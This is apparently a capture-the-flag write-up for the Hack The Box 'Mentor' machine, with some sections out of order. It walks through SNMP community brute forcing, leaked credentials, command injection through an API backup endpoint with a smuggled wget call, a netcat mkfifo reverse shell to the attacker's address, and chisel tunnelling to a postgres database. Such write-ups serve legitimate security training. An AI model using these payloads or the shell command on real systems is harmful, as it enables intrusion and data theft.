We need to change /etc/hosts file and add this 10.10.11.193 mentorquotes.htb
UDP
I was kinda stuck on emumeration (I had check port 80 but did not think of subdomain enum right away) at first so I did an udp port scan with nmap sudo nmap -T4 -sU 10.10.11.193 and got interesting results.
Note this taught me that it is always worth to do an udp scan as well.
Nmap result
┌──(kali㉿kali)-[~]└─$sudonmap-T4-sU10.10.11.193[sudo] password for kali: StartingNmap7.93 ( https://nmap.org ) at 2022-12-25 15:18 ESTNmapscanreportformentorquotes.htb (10.10.11.193)Hostisup (0.029s latency).Notshown:936closedudpports (port-unreach), 63 open|filteredudpports (no-response)PORTSTATESERVICE161/udpopensnmpNmapdone:1IPaddress (1 hostup) scanned in 936.95 seconds
SNMP
Enumeration
┌──(kali㉿kali)-[~]└─$sudonmap-T4-sU10.10.11.193-p161-sCStartingNmap7.93 ( https://nmap.org ) at 2022-12-25 15:22 ESTNmapscanreportformentorquotes.htb (10.10.11.193)Hostisup (0.030s latency).PORTSTATESERVICE161/udpopensnmp|snmp-sysdescr:Linuxmentor5.15.0-56-generic#62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64|_Systemuptime:4h32m34.56s (1635456 timeticks)|snmp-info:|enterprise:net-snmp|engineIDFormat:unknown|engineIDData:a124f60a99b99c6200000000|snmpEngineBoots:67|_snmpEngineTime:4h32m35sNmapdone:1IPaddress (1 hostup) scanned in 14.65 seconds============================================================================┌──(kali㉿kali)-[~]└─$sudonmap-sU-p161--script=snmp-*10.10.11.193StartingNmap7.93 ( https://nmap.org ) at 2022-12-25 15:32 ESTNmapscanreportformentorquotes.htb (10.10.11.193)Hostisup (0.028s latency).PORTSTATESERVICE161/udpopensnmp|snmp-sysdescr:Linuxmentor5.15.0-56-generic#62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64|_Systemuptime:4h42m31.26s (1695126 timeticks)|snmp-info:|enterprise:net-snmp|engineIDFormat:unknown|engineIDData:a124f60a99b99c6200000000|snmpEngineBoots:67|_snmpEngineTime:4h42m30s|snmp-brute:|_public-ValidcredentialsNmapdone:1IPaddress (1 hostup) scanned in 16.53 seconds============================================================================┌──(kali㉿kali)-[~]└─$sudonmap-sU-p161-sV10.10.11.193130⨯[sudo] password for kali: StartingNmap7.93 ( https://nmap.org ) at 2022-12-25 16:23 ESTNmapscanreportformentorquotes.htb (10.10.11.193)Hostisup (0.034s latency).PORTSTATESERVICEVERSION161/udpopensnmpSNMPv1server; net-snmpSNMPv3server (public)ServiceInfo:Host:mentorServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.Nmapdone:1IPaddress (1 hostup) scanned in 0.74 seconds
snmp-mibs-downloader
sudo apt install snmp-mibs-downloader
sudo download-mibs
sudo vi /etc/snmp/snmp.conf we comment the line "mibs:"
┌──(kali㉿kali)-[~]└─$snmp-check-v2c10.10.11.193snmp-checkv1.9-SNMPenumeratorCopyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)[+] Try to connect to 10.10.11.193:161 using SNMPv2c and community 'public'[*] System information:HostIPaddress:10.10.11.193Hostname:mentorDescription:Linuxmentor5.15.0-56-generic#62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64Contact:Me<admin@mentorquotes.htb>Location:SittingontheDockoftheBayUptimesnmp:05:54:18.44Uptimesystem:05:53:59.18Systemdate:2022-12-2521:44:05.0[*] Network information:DefaultTTL:noSuchObjectTCPsegmentsreceived:noSuchObjectTCPsegmentssent:noSuchObjectTCPsegmentsretrans:noSuchObjectInputdatagrams:noSuchObjectDelivereddatagrams:noSuchObjectOutputdatagrams:noSuchObject[*] File system information:Index:noSuchObjectMountpoint:noSuchObjectAccess:noSuchObjectBootable:noSuchObject
HTTP
We land on this page when visiting http://mentorquotes.htb/
Gobuster does not give anything interesting
Here is the http response header with some infos
HTTP/1.1 200 OKDate: Sun, 25 Dec 2022 16:57:58 GMTServer: Werkzeug/2.0.3 Python/3.6.9Content-Type: text/html; charset=utf-8Vary: Accept-EncodingContent-Length: 5506Connection: close
Let's try to play with the signup and see if we could signup another james user. So if we try with username and email it does not work we get a message saying that the user exists already. Using this we can check if the admin user we found when enumerating smtp exists on the api. But it does not so let's keep trying to impersonate james.
I tried different things but nothing worked
Back to SNMP
Let's try to go further with SNMP, maybe we'll have more luck.
We did not try all the possible tools or wordlists.
Let's use onesixtyone with this wordlistonesixtyone -c wordlist-common-snmp-community-strings.txt 10.10.11.193
┌──(kali㉿kali)-[~/Documents/hackthebox/Mentor]└─$onesixtyone-cwordlist-common-snmp-community-strings.txt10.10.11.193Scanning1hosts,122communities10.10.11.193 [public] Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_6410.10.11.193 [public] Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
Nothing here.
Let's try it also with nmap sudo nmap -sU --script snmp-brute 10.10.11.193 --script-args snmp-brute.communitiesdb=wordlist-common-snmp-community-strings.txt
We do not get anything more than the public community.
We can use also this tool. I really recommend using a pipenv to install it
sudo apt update we update our kali
sudo apt install python3-venv we instal venv
python3 -m venv snmpbrute we create a new venv
source snmpbrute/bin/activate we launch it
pip install scapy it requires scapy to work properly
python3 snmpbrute.py -t 10.10.11.193 -p 161
Once we are done with snmpbrute we can deactivate the env by typing deactivate
Let's run snmpwalk, we will have to put the output in a file, because it is huge snmpwalk -c internal 10.10.11.193 -v2c > internalenum
Let's see whats in the file and make a search on "STRING" it seems to output interesting infos
Apart from James we also have an svc account
When we try to access /admin/check it says it is not implemented yet
Let's try to see if it can execute commands. This is the value that we will put in path /etc/passwd;wget http://10.10.14.5/test
Alse before sending the request we need to launch our python http server, this way we will see if it actually checks the file. python3 -m http.server 80
So now we should try to get a shell. Let's set up a listener rlwrap nc -lvp 4444
The only one that worked is this one (do not forget the semi colon in the end and put sh and not bash because bash will fail) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f;
We can grab the user flag from /home/svc/user.txt
Privilege Escalation
Looking around we find different interesting files.
The /app/app/db.py shows the database url os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
Note that here we get connection string to the db. The username and pass are postgres:postgres
Postgresql
With a quick search we can find that default postreSQL port is 5432.
We could try our luck there.
We will need chisel. This tool is my favorite for when I need to tunnel or pivot. It really helped me a lot when I was working on Dante prolab. If you do not like this one there are other alternatives out there like sshuttle or socat.
To install chisel on your kali curl https://i.jpillora.com/chisel! | bash
Then you will need to put a chisel binary in your target
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz get it in your kali
gzip -d chisel_1.7.7_linux_amd64.gz extract it
python3 -m http.server 80 start your python serv
wget http://10.10.14.5/chisel_1.7.7_linux_amd64 get it from the target
chmod +x chisel_1.7.7_linux_amd64 make it executable
psql -h 10.10.14.5 -U "postgres" -p 5432 let's try to connect to the database. If you need a refresh on postgresql here is a nice article
We find a username james and their email james@mentorquotes.htb
Turns out it has a signup endpoint
First we need to login to get and authorization token
Now let's try to see info of user 1
It found another community internal
We find a string that looks like a password kj23sadkj123as0-d213! Let's try it in our API to see if we get james this way. If it does not work on the API we will try it on ssh.
It works, we get a token!
Let's try our juicy endpoints. It seems to work, we can list the users
Another interesting endpoint to check is the one that is not in the docs but that gobuster found for us /admin/.
When we try to access /admin/backup it does not accept the GET method. Let's try with a post.
It needs a body and we should also change the content type header to application/json. So our request in burp repeater looks like this
We have another info when we get the response. It also need a path.
As it wants a path let's ask it for /etc/passwd. It seems to work but does not output the file
Here is our request
It does get the file!
So we get a shell. It's root, but last time I saw this it was because I ended up in a docker container.
And an ls proves that we indeed are in a docker again
Now we need to launch a chisel server in our kali sudo chisel server --port 5555 --reverse
./chisel_1.7.7_linux_amd64 client -v 10.10.14.5:5555 R:5432:172.22.0.1:5432 we forward the postgresql port to be able to access it in our kali
\l list the database
select * from "users";
Linepeas finds the snmpd conf file. Let's have a look
